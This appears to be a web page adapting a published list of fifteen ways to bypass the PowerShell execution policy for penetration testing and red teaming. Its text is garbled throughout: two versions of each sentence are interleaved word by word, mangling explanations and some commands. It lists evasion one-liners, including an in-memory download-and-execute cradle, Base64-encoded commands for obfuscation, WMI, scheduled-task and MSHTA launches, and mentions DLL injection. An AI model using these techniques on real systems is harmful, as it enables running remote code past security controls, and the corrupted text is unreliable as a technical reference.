Bypass the PowerShell Execution Policy
💻 15 Ways to Bypass the PowerShell Execution Policy
Author:Based on the original by Scott Sutherland (summarized & adapted)Original: NetSPI Blog)
🧠 Introduction
PowerShell'PowerShell’s execution policy is designed to prevent unauthorized or accidentalrestricts script execution.execution, However,but there are many legitimate reasons to work around it — especially during penetration testing, red team exercises, or automation. Below are 15 commonthese methods allow you to bypass theit policy,without needing admin rights.
🧪 Quick Methods with explanations.
🔐 Bypass Techniques ExplainedExamples
1.PasteScript Directlydirectly inConsolethe consolePowerShellPoliciesonlydon’tapplies execution policyapply toscriptmanuallyfiles.typedIf you paste code directly into the console, it bypasses policy restrictions entirely.commands.2.EchoPipe&Scriptpipe to PowerShellYou can echo the script and pipe it to PowerShell’s standard input:echo Write-Host "Hello"Hi" \| powershell -noprofile -
ExecutesThisviaavoids the need for saving the script to disk.stdin.3. Read Script File andPipeto PowerShellThis loadsa scriptfrom disk and pipes it in:file
Get-Content script.ps1 \| powershell -noprofile -
ReadsExecution policy is not enforced when the script is readline-by-line as input.4.Download andExecuteexecute inMemorymemoryCommon in red teaming, this downloads and executes the script directly:powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://example.com/script.ps1'URL')"
NoThisfileavoids writing anythingwritten to disk.5. Use the-CommandArgumentargumentScripts passed via the `-command` flag are evaluated like pasted input:powershell -command "Write-Host 'Bypassed!'Bypass'"
Executes inline commands.6. Use-EncodedCommand argumentScripts can beBase64-encodedin Base64 andstring passed directly toPowerShell:$command = "Write-Host 'Hello'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encoded = [Convert]::ToBase64String($bytes) powershell -EncodedCommand $encodedUseful for obfuscation and policy bypass.PowerShell.7.SetPolicy via Group Policy or RegistryIf you have access, change theexecution policyvia:insession
Set-ExecutionPolicy Bypass -Scope Process
OnlyOraffectsmodifycurrentregistry keys like `HKLM:\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell`.session.8.Use PowerShell ISE(Integrated Scripting Environment)ISE sometimes behaves differently and may allow execution:powershell_ise.exe script.ps1
Sometimes bypasses policy.9. Change File Extension
Rename`.ps1`script to`.txt`txt
Read andreadrunit into memory inside another script. Thismanually; avoidsdetection and.ps1 enforcement.10. UseWMIto Launch Scriptexecution
Runs PowerShellcan be runremotely viaWMI methods that bypass policies:Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -nop -enc ..."Win32_Process.11.ScheduledUse Task Schedulertask
Createa scheduledtaskthattorunsrun yourPowerShellscript.The execution policy isn't enforced in the same way:schtasks /create /tn bypass /tr "powershell.exe -File script.ps1" /sc once /st 00:0012.PowerShellUse WinRM or PS RemotingremotingWhen executing scripts remotely, policiesExecutes ontheremotetargetsystems;systemlocal policy may notapply, especially if executed as commands:Invoke-Command -ScriptBlock {Write-Host "Hello"} -ComputerName targetapply.13.InjectUsevia DLLInjection or Reflective PE(advanced)Advanced method: InjectLoads PowerShellintoenginememorydirectlyviaincustom DLL or PE loader. Used by tools like PowerShell Empire.memory.14. Use Alternate Shells (e.g., MSHTA, wscript)Launch PowerShell indirectlyInvoke fromotherMSHTAinterpreters:or
trigger PowerShell.mshtawscript
Usesvbscript:Execute("CreateObject(""Wscript.Shell"").Runalternate""powershellscript-nophosts-encto..."":close")15.UseExploittrustedSoftwaresoftwareThattoInvokes PowerShellexecuteSome tools like MSBuild, Excel macros,Hijack orinstallerabuseframeworksapplicationsmaythatinvokerun PowerShell—underwhichtheyou can hijack.hood.
⚠️
Note: Legal Notice
These methods are intended for authorizedlegitimate securityuse assessments,only research,— such as automation, testing, and automation.red Useteaming responsibly— andwhere within the bounds of local laws and organizational policy.authorized.
Last adapted from NetSPI: https://www.netspi.com/...